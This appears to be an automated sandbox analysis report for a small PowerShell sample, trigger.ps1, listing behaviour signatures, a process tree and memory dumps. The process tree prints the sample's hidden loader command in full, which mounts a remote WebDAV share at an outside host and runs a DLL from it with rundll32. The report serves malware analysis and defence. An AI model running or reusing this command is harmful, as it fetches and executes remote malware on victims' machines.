Analysis
- user interaction
yes - max time kernel
96s - max time network
91s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
23/06/2026, 17:17
General
- Target trigger.ps1
- Size 84B
- Sample260623-vt71waex4s
- SHA256 0f45295ed027de40ecba3b2b4b422af7cd19977baa97a3ca9b9e034b83138d42
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Modifies registry class 2 IoCs
- Opens file in notepad (likely ransom note) 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps11⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WI 1 -nop -c iex "$si=([wmiclass]'Win32_ProcessStartup').CreateInstance();$si.ShowWindow=0;([wmiclass]'Win32_Process').Create('cmd /c pushd \\fds.jetbet1.online@SSL\4f3fcb88-9fb7-4fe9-8b62-4543a7de211b & rundll32 pf.ch,#1',$null,$si) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.execmd /c pushd \\fds.jetbet1.online@SSL\4f3fcb88-9fb7-4fe9-8b62-4543a7de211b & rundll32 pf.ch,#11⤵
- Process spawned unexpected child process
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\rundll32.exerundll32 pf.ch,#12⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" shell:::{52205fd8-5dfb-447d-801a-d0b52f2e83e1}1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.ps1"1⤵
- Opens file in notepad (likely ransom note)
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_k4gsrtzp.3mz.ps1
memory/1736-23-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/1736-17-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/1736-28-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/1736-26-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/1736-21-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/1736-20-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/1736-18-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/1736-16-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/1736-15-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/1736-19-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/4232-33-0x000001BAABD50000-0x000001BAABD98000-memory.dmp
memory/5620-12-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/5620-7-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/5620-5-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/5620-11-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/5620-10-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/5620-0-0x00007FFAB864F000-0x00007FFAB8650000-memory.dmp
memory/5620-3-0x00000225FD330000-0x00000225FD352000-memory.dmp
memory/5620-9-0x00000225FDA60000-0x00000225FDC22000-memory.dmp
memory/5620-27-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/5620-8-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/5620-4-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp
memory/5620-6-0x00007FFAB84C0000-0x00007FFAB8E64000-memory.dmp